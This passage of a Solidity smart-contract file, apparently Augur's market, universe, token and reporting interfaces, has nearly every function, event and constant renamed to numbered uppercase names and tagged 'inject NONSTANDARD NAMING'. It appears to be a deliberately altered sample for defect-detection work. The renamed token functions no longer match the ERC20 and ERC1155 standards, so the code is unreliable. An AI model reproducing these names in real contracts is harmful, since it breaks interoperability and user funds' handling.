//inject NONSTANDARD NAMING function LOGVALIDITYBONDCHANGED992(uint256 _validityBond) public returns (bool); //inject NONSTANDARD NAMING function LOGDESIGNATEDREPORTSTAKECHANGED748(uint256 _designatedReportStake) public returns (bool); //inject NONSTANDARD NAMING function LOGNOSHOWBONDCHANGED254(uint256 _noShowBond) public returns (bool); //inject NONSTANDARD NAMING function LOGREPORTINGFEECHANGED596(uint256 _reportingFee) public returns (bool); //inject NONSTANDARD NAMING function GETUNIVERSEFORKINDEX548(IUniverse _universe) public view returns (uint256); //inject NONSTANDARD NAMING } contract IOwnable { function GETOWNER826() public view returns (address); //inject NONSTANDARD NAMING function TRANSFEROWNERSHIP284(address _newOwner) public returns (bool); //inject NONSTANDARD NAMING } contract ITyped { function GETTYPENAME153() public view returns (bytes32); //inject NONSTANDARD NAMING } library SafeMathUint256 { function MUL760(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function DIV647(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function SUB692(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a); return a - b; } function ADD571(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a); return c; } function MIN885(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING if (a <= b) { return a; } else { return b; } } function MAX990(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING if (a >= b) { return a; } else { return b; } } function SQRT858(uint256 y) internal pure returns (uint256 z) { //inject NONSTANDARD NAMING if (y > 3) { uint256 x = (y + 1) / 2; z = y; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } function GETUINT256MIN331() internal pure returns (uint256) { //inject NONSTANDARD NAMING return 0; } function GETUINT256MAX467() internal pure returns (uint256) { //inject NONSTANDARD NAMING // 2 ** 256 - 1 return 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; } function ISMULTIPLEOF540(uint256 a, uint256 b) internal pure returns (bool) { //inject NONSTANDARD NAMING return a % b == 0; } // Float [fixed point] Operations function FXPMUL102(uint256 a, uint256 b, uint256 base) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV647(MUL760(a, b), base); } function FXPDIV922(uint256 a, uint256 b, uint256 base) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV647(MUL760(a, base), b); } } interface IERC1155 { event TRANSFERSINGLE49( //inject NONSTANDARD NAMING address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value ); event TRANSFERBATCH882( //inject NONSTANDARD NAMING address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); event APPROVALFORALL731( //inject NONSTANDARD NAMING address indexed owner, address indexed operator, bool approved ); event URI998( //inject NONSTANDARD NAMING string value, uint256 indexed id ); function SAFETRANSFERFROM689( //inject NONSTANDARD NAMING address from, address to, uint256 id, uint256 value, bytes calldata data ) external; function SAFEBATCHTRANSFERFROM779( //inject NONSTANDARD NAMING address from, address to, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external; function SETAPPROVALFORALL494(address operator, bool approved) external; //inject NONSTANDARD NAMING function ISAPPROVEDFORALL901(address owner, address operator) external view returns (bool); //inject NONSTANDARD NAMING function BALANCEOF492(address owner, uint256 id) external view returns (uint256); //inject NONSTANDARD NAMING function TOTALSUPPLY304(uint256 id) external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOFBATCH918( //inject NONSTANDARD NAMING address[] calldata owners, uint256[] calldata ids ) external view returns (uint256[] memory balances_); } contract IERC20 { function TOTALSUPPLY304() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF492(address owner) public view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER644(address to, uint256 amount) public returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM669(address from, address to, uint256 amount) public returns (bool); //inject NONSTANDARD NAMING function APPROVE293(address spender, uint256 amount) public returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE377(address owner, address spender) public view returns (uint256); //inject NONSTANDARD NAMING // solhint-disable-next-line no-simple-event-func-name event TRANSFER723(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL665(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } contract ICash is IERC20 { } contract ERC20 is IERC20 { using SafeMathUint256 for uint256; uint8 constant public decimals866 = 18; //inject NONSTANDARD NAMING uint256 public totalSupply; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowances; function BALANCEOF492(address _account) public view returns (uint256) { //inject NONSTANDARD NAMING return balances[_account]; } function TRANSFER644(address _recipient, uint256 _amount) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER433(msg.sender, _recipient, _amount); return true; } function ALLOWANCE377(address _owner, address _spender) public view returns (uint256) { //inject NONSTANDARD NAMING return allowances[_owner][_spender]; } function APPROVE293(address _spender, uint256 _amount) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE571(msg.sender, _spender, _amount); return true; } function TRANSFERFROM669(address _sender, address _recipient, uint256 _amount) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER433(_sender, _recipient, _amount); _APPROVE571(_sender, msg.sender, allowances[_sender][msg.sender].SUB692(_amount)); return true; } function INCREASEALLOWANCE307(address _spender, uint256 _addedValue) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE571(msg.sender, _spender, allowances[msg.sender][_spender].ADD571(_addedValue)); return true; } function DECREASEALLOWANCE757(address _spender, uint256 _subtractedValue) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE571(msg.sender, _spender, allowances[msg.sender][_spender].SUB692(_subtractedValue)); return true; } function _TRANSFER433(address _sender, address _recipient, uint256 _amount) internal { //inject NONSTANDARD NAMING require(_sender != address(0), "ERC20: transfer from the zero address"); require(_recipient != address(0), "ERC20: transfer to the zero address"); balances[_sender] = balances[_sender].SUB692(_amount); balances[_recipient] = balances[_recipient].ADD571(_amount); emit TRANSFER723(_sender, _recipient, _amount); ONTOKENTRANSFER292(_sender, _recipient, _amount); } function _MINT880(address _account, uint256 _amount) internal { //inject NONSTANDARD NAMING require(_account != address(0), "ERC20: mint to the zero address"); totalSupply = totalSupply.ADD571(_amount); balances[_account] = balances[_account].ADD571(_amount); emit TRANSFER723(address(0), _account, _amount); } function _BURN356(address _account, uint256 _amount) internal { //inject NONSTANDARD NAMING require(_account != address(0), "ERC20: burn from the zero address"); balances[_account] = balances[_account].SUB692(_amount); totalSupply = totalSupply.SUB692(_amount); emit TRANSFER723(_account, address(0), _amount); } function _APPROVE571(address _owner, address _spender, uint256 _amount) internal { //inject NONSTANDARD NAMING require(_owner != address(0), "ERC20: approve from the zero address"); require(_spender != address(0), "ERC20: approve to the zero address"); allowances[_owner][_spender] = _amount; emit APPROVAL665(_owner, _spender, _amount); } function _BURNFROM317(address _account, uint256 _amount) internal { //inject NONSTANDARD NAMING _BURN356(_account, _amount); _APPROVE571(_account, msg.sender, allowances[_account][msg.sender].SUB692(_amount)); } // Subclasses of this token generally want to send additional logs through the centralized Augur log emitter contract function ONTOKENTRANSFER292(address _from, address _to, uint256 _value) internal; //inject NONSTANDARD NAMING } contract VariableSupplyToken is ERC20 { using SafeMathUint256 for uint256; function MINT146(address _target, uint256 _amount) internal returns (bool) { //inject NONSTANDARD NAMING _MINT880(_target, _amount); ONMINT315(_target, _amount); return true; } function BURN234(address _target, uint256 _amount) internal returns (bool) { //inject NONSTANDARD NAMING _BURN356(_target, _amount); ONBURN653(_target, _amount); return true; } // Subclasses of this token may want to send additional logs through the centralized Augur log emitter contract function ONMINT315(address, uint256) internal { //inject NONSTANDARD NAMING } // Subclasses of this token may want to send additional logs through the centralized Augur log emitter contract function ONBURN653(address, uint256) internal { //inject NONSTANDARD NAMING } } contract IAffiliateValidator { function VALIDATEREFERENCE609(address _account, address _referrer) external view returns (bool); //inject NONSTANDARD NAMING } contract IDisputeWindow is ITyped, IERC20 { function INVALIDMARKETSTOTAL511() external view returns (uint256); //inject NONSTANDARD NAMING function VALIDITYBONDTOTAL28() external view returns (uint256); //inject NONSTANDARD NAMING function INCORRECTDESIGNATEDREPORTTOTAL522() external view returns (uint256); //inject NONSTANDARD NAMING function INITIALREPORTBONDTOTAL695() external view returns (uint256); //inject NONSTANDARD NAMING function DESIGNATEDREPORTNOSHOWSTOTAL443() external view returns (uint256); //inject NONSTANDARD NAMING function DESIGNATEDREPORTERNOSHOWBONDTOTAL703() external view returns (uint256); //inject NONSTANDARD NAMING function INITIALIZE90(IAugur _augur, IUniverse _universe, uint256 _disputeWindowId, bool _participationTokensEnabled, uint256 _duration, uint256 _startTime) public; //inject NONSTANDARD NAMING function TRUSTEDBUY954(address _buyer, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING function GETUNIVERSE719() public view returns (IUniverse); //inject NONSTANDARD NAMING function GETREPUTATIONTOKEN35() public view returns (IReputationToken); //inject NONSTANDARD NAMING function GETSTARTTIME383() public view returns (uint256); //inject NONSTANDARD NAMING function GETENDTIME626() public view returns (uint256); //inject NONSTANDARD NAMING function GETWINDOWID901() public view returns (uint256); //inject NONSTANDARD NAMING function ISACTIVE720() public view returns (bool); //inject NONSTANDARD NAMING function ISOVER108() public view returns (bool); //inject NONSTANDARD NAMING function ONMARKETFINALIZED596() public; //inject NONSTANDARD NAMING function REDEEM559(address _account) public returns (bool); //inject NONSTANDARD NAMING } contract IMarket is IOwnable { enum MarketType { YES_NO, CATEGORICAL, SCALAR } function INITIALIZE90(IAugur _augur, IUniverse _universe, uint256 _endTime, uint256 _feePerCashInAttoCash, IAffiliateValidator _affiliateValidator, uint256 _affiliateFeeDivisor, address _designatedReporterAddress, address _creator, uint256 _numOutcomes, uint256 _numTicks) public; //inject NONSTANDARD NAMING function DERIVEPAYOUTDISTRIBUTIONHASH812(uint256[] memory _payoutNumerators) public view returns (bytes32); //inject NONSTANDARD NAMING function DOINITIALREPORT448(uint256[] memory _payoutNumerators, string memory _description, uint256 _additionalStake) public returns (bool); //inject NONSTANDARD NAMING function GETUNIVERSE719() public view returns (IUniverse); //inject NONSTANDARD NAMING function GETDISPUTEWINDOW804() public view returns (IDisputeWindow); //inject NONSTANDARD NAMING function GETNUMBEROFOUTCOMES636() public view returns (uint256); //inject NONSTANDARD NAMING function GETNUMTICKS752() public view returns (uint256); //inject NONSTANDARD NAMING function GETMARKETCREATORSETTLEMENTFEEDIVISOR51() public view returns (uint256); //inject NONSTANDARD NAMING function GETFORKINGMARKET637() public view returns (IMarket _market); //inject NONSTANDARD NAMING function GETENDTIME626() public view returns (uint256); //inject NONSTANDARD NAMING function GETWINNINGPAYOUTDISTRIBUTIONHASH916() public view returns (bytes32); //inject NONSTANDARD NAMING function GETWINNINGPAYOUTNUMERATOR375(uint256 _outcome) public view returns (uint256); //inject NONSTANDARD NAMING function GETWINNINGREPORTINGPARTICIPANT424() public view returns (IReportingParticipant); //inject NONSTANDARD NAMING function GETREPUTATIONTOKEN35() public view returns (IV2ReputationToken); //inject NONSTANDARD NAMING function GETFINALIZATIONTIME347() public view returns (uint256); //inject NONSTANDARD NAMING function GETINITIALREPORTER212() public view returns (IInitialReporter); //inject NONSTANDARD NAMING function GETDESIGNATEDREPORTINGENDTIME834() public view returns (uint256); //inject NONSTANDARD NAMING function GETVALIDITYBONDATTOCASH123() public view returns (uint256); //inject NONSTANDARD NAMING function AFFILIATEFEEDIVISOR322() external view returns (uint256); //inject NONSTANDARD NAMING function GETNUMPARTICIPANTS137() public view returns (uint256); //inject NONSTANDARD NAMING function GETDISPUTEPACINGON415() public view returns (bool); //inject NONSTANDARD NAMING function DERIVEMARKETCREATORFEEAMOUNT558(uint256 _amount) public view returns (uint256); //inject NONSTANDARD NAMING function RECORDMARKETCREATORFEES738(uint256 _marketCreatorFees, address _sourceAccount, bytes32 _fingerprint) public returns (bool); //inject NONSTANDARD NAMING function ISCONTAINERFORREPORTINGPARTICIPANT696(IReportingParticipant _reportingParticipant) public view returns (bool); //inject NONSTANDARD NAMING function ISFINALIZEDASINVALID362() public view returns (bool); //inject NONSTANDARD NAMING function FINALIZE310() public returns (bool); //inject NONSTANDARD NAMING function ISFINALIZED623() public view returns (bool); //inject NONSTANDARD NAMING function GETOPENINTEREST251() public view returns (uint256); //inject NONSTANDARD NAMING } contract IReportingParticipant { function GETSTAKE932() public view returns (uint256); //inject NONSTANDARD NAMING function GETPAYOUTDISTRIBUTIONHASH1000() public view returns (bytes32); //inject NONSTANDARD NAMING function LIQUIDATELOSING232() public; //inject NONSTANDARD NAMING function REDEEM559(address _redeemer) public returns (bool); //inject NONSTANDARD NAMING function ISDISAVOWED173() public view returns (bool); //inject NONSTANDARD NAMING function GETPAYOUTNUMERATOR512(uint256 _outcome) public view returns (uint256); //inject NONSTANDARD NAMING function GETPAYOUTNUMERATORS444() public view returns (uint256[] memory); //inject NONSTANDARD NAMING function GETMARKET927() public view returns (IMarket); //inject NONSTANDARD NAMING function GETSIZE85() public view returns (uint256); //inject NONSTANDARD NAMING } contract IDisputeCrowdsourcer is IReportingParticipant, IERC20 { function INITIALIZE90(IAugur _augur, IMarket market, uint256 _size, bytes32 _payoutDistributionHash, uint256[] memory _payoutNumerators, uint256 _crowdsourcerGeneration) public; //inject NONSTANDARD NAMING function CONTRIBUTE720(address _participant, uint256 _amount, bool _overload) public returns (uint256); //inject NONSTANDARD NAMING function SETSIZE177(uint256 _size) public; //inject NONSTANDARD NAMING function GETREMAININGTOFILL115() public view returns (uint256); //inject NONSTANDARD NAMING function CORRECTSIZE807() public returns (bool); //inject NONSTANDARD NAMING function GETCROWDSOURCERGENERATION652() public view returns (uint256); //inject NONSTANDARD NAMING } contract IInitialReporter is IReportingParticipant, IOwnable { function INITIALIZE90(IAugur _augur, IMarket _market, address _designatedReporter) public; //inject NONSTANDARD NAMING function REPORT291(address _reporter, bytes32 _payoutDistributionHash, uint256[] memory _payoutNumerators, uint256 _initialReportStake) public; //inject NONSTANDARD NAMING function DESIGNATEDREPORTERSHOWED809() public view returns (bool); //inject NONSTANDARD NAMING function INITIALREPORTERWASCORRECT338() public view returns (bool); //inject NONSTANDARD NAMING function GETDESIGNATEDREPORTER404() public view returns (address); //inject NONSTANDARD NAMING function GETREPORTTIMESTAMP304() public view returns (uint256); //inject NONSTANDARD NAMING function MIGRATETONEWUNIVERSE701(address _designatedReporter) public; //inject NONSTANDARD NAMING function RETURNREPFROMDISAVOW512() public; //inject NONSTANDARD NAMING } contract IReputationToken is IERC20 { function MIGRATEOUTBYPAYOUT436(uint256[] memory _payoutNumerators, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING function MIGRATEIN692(address _reporter, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING function TRUSTEDREPORTINGPARTICIPANTTRANSFER10(address _source, address _destination, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING function TRUSTEDMARKETTRANSFER61(address _source, address _destination, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING function TRUSTEDUNIVERSETRANSFER148(address _source, address _destination, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING function TRUSTEDDISPUTEWINDOWTRANSFER53(address _source, address _destination, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING function GETUNIVERSE719() public view returns (IUniverse); //inject NONSTANDARD NAMING function GETTOTALMIGRATED220() public view returns (uint256); //inject NONSTANDARD NAMING function GETTOTALTHEORETICALSUPPLY552() public view returns (uint256); //inject NONSTANDARD NAMING function MINTFORREPORTINGPARTICIPANT798(uint256 _amountMigrated) public returns (bool); //inject NONSTANDARD NAMING } contract IShareToken is ITyped, IERC1155 { function INITIALIZE90(IAugur _augur) external; //inject NONSTANDARD NAMING function INITIALIZEMARKET720(IMarket _market, uint256 _numOutcomes, uint256 _numTicks) public; //inject NONSTANDARD NAMING function UNSAFETRANSFERFROM654(address _from, address _to, uint256 _id, uint256 _value) public; //inject NONSTANDARD NAMING function UNSAFEBATCHTRANSFERFROM211(address _from, address _to, uint256[] memory _ids, uint256[] memory _values) public; //inject NONSTANDARD NAMING function CLAIMTRADINGPROCEEDS854(IMarket _market, address _shareHolder, bytes32 _fingerprint) external returns (uint256[] memory _outcomeFees); //inject NONSTANDARD NAMING function GETMARKET927(uint256 _tokenId) external view returns (IMarket); //inject NONSTANDARD NAMING function GETOUTCOME167(uint256 _tokenId) external view returns (uint256); //inject NONSTANDARD NAMING function GETTOKENID371(IMarket _market, uint256 _outcome) public pure returns (uint256 _tokenId); //inject NONSTANDARD NAMING function GETTOKENIDS530(IMarket _market, uint256[] memory _outcomes) public pure returns (uint256[] memory _tokenIds); //inject NONSTANDARD NAMING function BUYCOMPLETESETS983(IMarket _market, address _account, uint256 _amount) external returns (bool); //inject NONSTANDARD NAMING function BUYCOMPLETESETSFORTRADE277(IMarket _market, uint256 _amount, uint256 _longOutcome, address _longRecipient, address _shortRecipient) external returns (bool); //inject NONSTANDARD NAMING function SELLCOMPLETESETS485(IMarket _market, address _holder, address _recipient, uint256 _amount, bytes32 _fingerprint) external returns (uint256 _creatorFee, uint256 _reportingFee); //inject NONSTANDARD NAMING function SELLCOMPLETESETSFORTRADE561(IMarket _market, uint256 _outcome, uint256 _amount, address _shortParticipant, address _longParticipant, address _shortRecipient, address _longRecipient, uint256 _price, address _sourceAccount, bytes32 _fingerprint) external returns (uint256 _creatorFee, uint256 _reportingFee); //inject NONSTANDARD NAMING function TOTALSUPPLYFORMARKETOUTCOME526(IMarket _market, uint256 _outcome) public view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOFMARKETOUTCOME21(IMarket _market, uint256 _outcome, address _account) public view returns (uint256); //inject NONSTANDARD NAMING function LOWESTBALANCEOFMARKETOUTCOMES298(IMarket _market, uint256[] memory _outcomes, address _account) public view returns (uint256); //inject NONSTANDARD NAMING } contract IUniverse { function CREATIONTIME597() external view returns (uint256); //inject NONSTANDARD NAMING function MARKETBALANCE692(address) external view returns (uint256); //inject NONSTANDARD NAMING function FORK341() public returns (bool); //inject NONSTANDARD NAMING function UPDATEFORKVALUES73() public returns (bool); //inject NONSTANDARD NAMING function GETPARENTUNIVERSE169() public view returns (IUniverse); //inject NONSTANDARD NAMING function CREATECHILDUNIVERSE712(uint256[] memory _parentPayoutNumerators) public returns (IUniverse); //inject NONSTANDARD NAMING function GETCHILDUNIVERSE576(bytes32 _parentPayoutDistributionHash) public view returns (IUniverse); //inject NONSTANDARD NAMING function GETREPUTATIONTOKEN35() public view returns (IV2ReputationToken); //inject NONSTANDARD NAMING function GETFORKINGMARKET637() public view returns (IMarket); //inject NONSTANDARD NAMING function GETFORKENDTIME510() public view returns (uint256); //inject NONSTANDARD NAMING function GETFORKREPUTATIONGOAL776() public view returns (uint256); //inject NONSTANDARD NAMING function GETPARENTPAYOUTDISTRIBUTIONHASH230() public view returns (bytes32); //inject NONSTANDARD NAMING function GETDISPUTEROUNDDURATIONINSECONDS412(bool _initial) public view returns (uint256); //inject NONSTANDARD NAMING function GETORCREATEDISPUTEWINDOWBYTIMESTAMP65(uint256 _timestamp, bool _initial) public returns (IDisputeWindow); //inject NONSTANDARD NAMING function GETORCREATECURRENTDISPUTEWINDOW813(bool _initial) public returns (IDisputeWindow); //inject NONSTANDARD NAMING function GETORCREATENEXTDISPUTEWINDOW682(bool _initial) public returns (IDisputeWindow); //inject NONSTANDARD NAMING function GETORCREATEPREVIOUSDISPUTEWINDOW575(bool _initial) public returns (IDisputeWindow); //inject NONSTANDARD NAMING function GETOPENINTERESTINATTOCASH866() public view returns (uint256); //inject NONSTANDARD NAMING function GETTARGETREPMARKETCAPINATTOCASH438() public view returns (uint256); //inject NONSTANDARD NAMING function GETORCACHEVALIDITYBOND873() public returns (uint256); //inject NONSTANDARD NAMING function GETORCACHEDESIGNATEDREPORTSTAKE630() public returns (uint256); //inject NONSTANDARD NAMING function GETORCACHEDESIGNATEDREPORTNOSHOWBOND936() public returns (uint256); //inject NONSTANDARD NAMING function GETORCACHEMARKETREPBOND533() public returns (uint256); //inject NONSTANDARD NAMING function GETORCACHEREPORTINGFEEDIVISOR44() public returns (uint256); //inject NONSTANDARD NAMING function GETDISPUTETHRESHOLDFORFORK42() public view returns (uint256); //inject NONSTANDARD NAMING function GETDISPUTETHRESHOLDFORDISPUTEPACING311() public view returns (uint256); //inject NONSTANDARD NAMING function GETINITIALREPORTMINVALUE947() public view returns (uint256); //inject NONSTANDARD NAMING function GETPAYOUTNUMERATORS444() public view returns (uint256[] memory); //inject NONSTANDARD NAMING function GETREPORTINGFEEDIVISOR13() public view returns (uint256); //inject NONSTANDARD NAMING function GETPAYOUTNUMERATOR512(uint256 _outcome) public view returns (uint256); //inject NONSTANDARD NAMING function GETWINNINGCHILDPAYOUTNUMERATOR599(uint256 _outcome) public view returns (uint256); //inject NONSTANDARD NAMING function ISOPENINTERESTCASH47(address) public view returns (bool); //inject NONSTANDARD NAMING function ISFORKINGMARKET534() public view returns (bool); //inject NONSTANDARD NAMING function GETCURRENTDISPUTEWINDOW862(bool _initial) public view returns (IDisputeWindow); //inject NONSTANDARD NAMING function GETDISPUTEWINDOWSTARTTIMEANDDURATION802(uint256 _timestamp, bool _initial) public view returns (uint256, uint256); //inject NONSTANDARD NAMING function ISPARENTOF319(IUniverse _shadyChild) public view returns (bool); //inject NONSTANDARD NAMING function UPDATETENTATIVEWINNINGCHILDUNIVERSE89(bytes32 _parentPayoutDistributionHash) public returns (bool); //inject NONSTANDARD NAMING function ISCONTAINERFORDISPUTEWINDOW320(IDisputeWindow _shadyTarget) public view returns (bool); //inject NONSTANDARD NAMING function ISCONTAINERFORMARKET856(IMarket _shadyTarget) public view returns (bool); //inject NONSTANDARD NAMING function ISCONTAINERFORREPORTINGPARTICIPANT696(IReportingParticipant _reportingParticipant) public view returns (bool); //inject NONSTANDARD NAMING function MIGRATEMARKETOUT672(IUniverse _destinationUniverse) public returns (bool); //inject NONSTANDARD NAMING function MIGRATEMARKETIN285(IMarket _market, uint256 _cashBalance, uint256 _marketOI) public returns (bool); //inject NONSTANDARD NAMING function DECREMENTOPENINTEREST834(uint256 _amount) public returns (bool); //inject NONSTANDARD NAMING function DECREMENTOPENINTERESTFROMMARKET346(IMarket _market) public returns (bool); //inject NONSTANDARD NAMING function INCREMENTOPENINTEREST645(uint256 _amount) public returns (bool); //inject NONSTANDARD NAMING function GETWINNINGCHILDUNIVERSE709() public view returns (IUniverse); //inject NONSTANDARD NAMING function ISFORKING853() public view returns (bool); //inject NONSTANDARD NAMING function DEPOSIT693(address _sender, uint256 _amount, address _market) public returns (bool); //inject NONSTANDARD NAMING function WITHDRAW474(address _recipient, uint256 _amount, address _market) public returns (bool); //inject NONSTANDARD NAMING function CREATESCALARMARKET875(uint256 _endTime, uint256 _feePerCashInAttoCash, IAffiliateValidator _affiliateValidator, uint256 _affiliateFeeDivisor, address _designatedReporterAddress, int256[] memory _prices, uint256 _numTicks, string memory _extraInfo) public returns (IMarket _newMarket); //inject NONSTANDARD NAMING } contract IV2ReputationToken is IReputationToken { function PARENTUNIVERSE976() external returns (IUniverse); //inject NONSTANDARD NAMING function BURNFORMARKET683(uint256 _amountToBurn) public returns (bool); //inject NONSTANDARD NAMING function MINTFORWARPSYNC909(uint256 _amountToMint, address _target) public returns (bool); //inject NONSTANDARD NAMING } library Reporting { uint256 private constant designated_reporting_duration_seconds939 = 1 days; //inject NONSTANDARD NAMING uint256 private constant dispute_round_duration_seconds351 = 7 days; //inject NONSTANDARD NAMING uint256 private constant initial_dispute_round_duration_seconds185 = 1 days; //inject NONSTANDARD NAMING uint256 private constant dispute_window_buffer_seconds655 = 1 hours; //inject NONSTANDARD NAMING uint256 private constant fork_duration_seconds463 = 60 days; //inject NONSTANDARD NAMING uint256 private constant base_market_duration_maximum20 = 30 days; // A market of 30 day length can always be created //inject NONSTANDARD NAMING uint256 private constant upgrade_cadence254 = 365 days; //inject NONSTANDARD NAMING uint256 private constant initial_upgrade_timestamp605 = 1627776000; // Aug 1st 2021 //inject NONSTANDARD NAMING uint256 private constant initial_rep_supply507 = 11 * 10 ** 6 * 10 ** 18; // 11 Million REP //inject NONSTANDARD NAMING uint256 private constant affiliate_source_cut_divisor194 = 5; // The trader gets 20% of the affiliate fee when an affiliate fee is taken //inject NONSTANDARD NAMING uint256 private constant default_validity_bond803 = 10 ether; // 10 Cash (Dai) //inject NONSTANDARD NAMING uint256 private constant validity_bond_floor708 = 10 ether; // 10 Cash (Dai) //inject NONSTANDARD NAMING uint256 private constant default_reporting_fee_divisor809 = 10000; // .01% fees //inject NONSTANDARD NAMING uint256 private constant maximum_reporting_fee_divisor548 = 10000; // Minimum .01% fees //inject NONSTANDARD NAMING uint256 private constant minimum_reporting_fee_divisor749 = 3; // Maximum 33.3~% fees. Note than anything less than a value of 2 here will likely result in bugs such as divide by 0 cases. //inject NONSTANDARD NAMING uint256 private constant target_invalid_markets_divisor747 = 100; // 1% of markets are expected to be invalid //inject NONSTANDARD NAMING uint256 private constant target_incorrect_designated_report_markets_divisor83 = 100; // 1% of markets are expected to have an incorrect designate report //inject NONSTANDARD NAMING uint256 private constant target_designated_report_no_shows_divisor678 = 20; // 5% of markets are expected to have a no show //inject NONSTANDARD NAMING uint256 private constant target_rep_market_cap_multiplier475 = 5; // We multiply and divide by constants since we may want to multiply by a fractional amount //inject NONSTANDARD NAMING uint256 private constant fork_threshold_divisor49 = 40; // 2.5% of the total REP supply being filled in a single dispute bond will trigger a fork //inject NONSTANDARD NAMING uint256 private constant maximum_dispute_rounds529 = 20; // We ensure that after 20 rounds of disputes a fork will occur //inject NONSTANDARD NAMING uint256 private constant minimum_slow_rounds438 = 8; // We ensure that at least 8 dispute rounds take DISPUTE_ROUND_DURATION_SECONDS+ seconds to complete until the next round begins //inject NONSTANDARD NAMING function GETDESIGNATEDREPORTINGDURATIONSECONDS10() internal pure returns (uint256) { return designated_reporting_duration_seconds939; } //inject NONSTANDARD NAMING function GETINITIALDISPUTEROUNDDURATIONSECONDS286() internal pure returns (uint256) { return initial_dispute_round_duration_seconds185; } //inject NONSTANDARD NAMING function GETDISPUTEWINDOWBUFFERSECONDS683() internal pure returns (uint256) { return dispute_window_buffer_seconds655; } //inject NONSTANDARD NAMING function GETDISPUTEROUNDDURATIONSECONDS187() internal pure returns (uint256) { return dispute_round_duration_seconds351; } //inject NONSTANDARD NAMING function GETFORKDURATIONSECONDS842() internal pure returns (uint256) { return fork_duration_seconds463; } //inject NONSTANDARD NAMING function GETBASEMARKETDURATIONMAXIMUM759() internal pure returns (uint256) { return base_market_duration_maximum20; } //inject NONSTANDARD NAMING function GETUPGRADECADENCE338() internal pure returns (uint256) { return upgrade_cadence254; } //inject NONSTANDARD NAMING function GETINITIALUPGRADETIMESTAMP486() internal pure returns (uint256) { return initial_upgrade_timestamp605; } //inject NONSTANDARD NAMING function GETDEFAULTVALIDITYBOND656() internal pure returns (uint256) { return default_validity_bond803; } //inject NONSTANDARD NAMING function GETVALIDITYBONDFLOOR634() internal pure returns (uint256) { return validity_bond_floor708; } //inject NONSTANDARD NAMING function GETTARGETINVALIDMARKETSDIVISOR906() internal pure returns (uint256) { return target_invalid_markets_divisor747; } //inject NONSTANDARD NAMING function GETTARGETINCORRECTDESIGNATEDREPORTMARKETSDIVISOR444() internal pure returns (uint256) { return target_incorrect_designated_report_markets_divisor83; } //inject NONSTANDARD NAMING function GETTARGETDESIGNATEDREPORTNOSHOWSDIVISOR524() internal pure returns (uint256) { return target_designated_report_no_shows_divisor678; } //inject NONSTANDARD NAMING function GETTARGETREPMARKETCAPMULTIPLIER935() internal pure returns (uint256) { return target_rep_market_cap_multiplier475; } //inject NONSTANDARD NAMING function GETMAXIMUMREPORTINGFEEDIVISOR201() internal pure returns (uint256) { return maximum_reporting_fee_divisor548; } //inject NONSTANDARD NAMING function GETMINIMUMREPORTINGFEEDIVISOR230() internal pure returns (uint256) { return minimum_reporting_fee_divisor749; } //inject NONSTANDARD NAMING function GETDEFAULTREPORTINGFEEDIVISOR804() internal pure returns (uint256) { return default_reporting_fee_divisor809; } //inject NONSTANDARD NAMING function GETINITIALREPSUPPLY859() internal pure returns (uint256) { return initial_rep_supply507; } //inject NONSTANDARD NAMING function GETAFFILIATESOURCECUTDIVISOR779() internal pure returns (uint256) { return affiliate_source_cut_divisor194; } //inject NONSTANDARD NAMING function GETFORKTHRESHOLDDIVISOR823() internal pure returns (uint256) { return fork_threshold_divisor49; } //inject NONSTANDARD NAMING function GETMAXIMUMDISPUTEROUNDS774() internal pure returns (uint256) { return maximum_dispute_rounds529; } //inject NONSTANDARD NAMING function GETMINIMUMSLOWROUNDS218() internal pure returns (uint256) { return minimum_slow_rounds438; } //inject NONSTANDARD NAMING } contract IAugurTrading { function LOOKUP594(bytes32 _key) public view returns (address); //inject NONSTANDARD NAMING function LOGPROFITLOSSCHANGED911(IMarket _market, address _account, uint256 _outcome, int256 _netPosition, uint256 _avgPrice, int256 _realizedProfit, int256 _frozenFunds, int256 _realizedCost) public returns (bool); //inject NONSTANDARD NAMING function LOGORDERCREATED154(IUniverse _universe, bytes32 _orderId, bytes32 _tradeGroupId) public returns (bool); //inject NONSTANDARD NAMING function LOGORDERCANCELED389(IUniverse _universe, IMarket _market, address _creator, uint256 _tokenRefund, uint256 _sharesRefund, bytes32 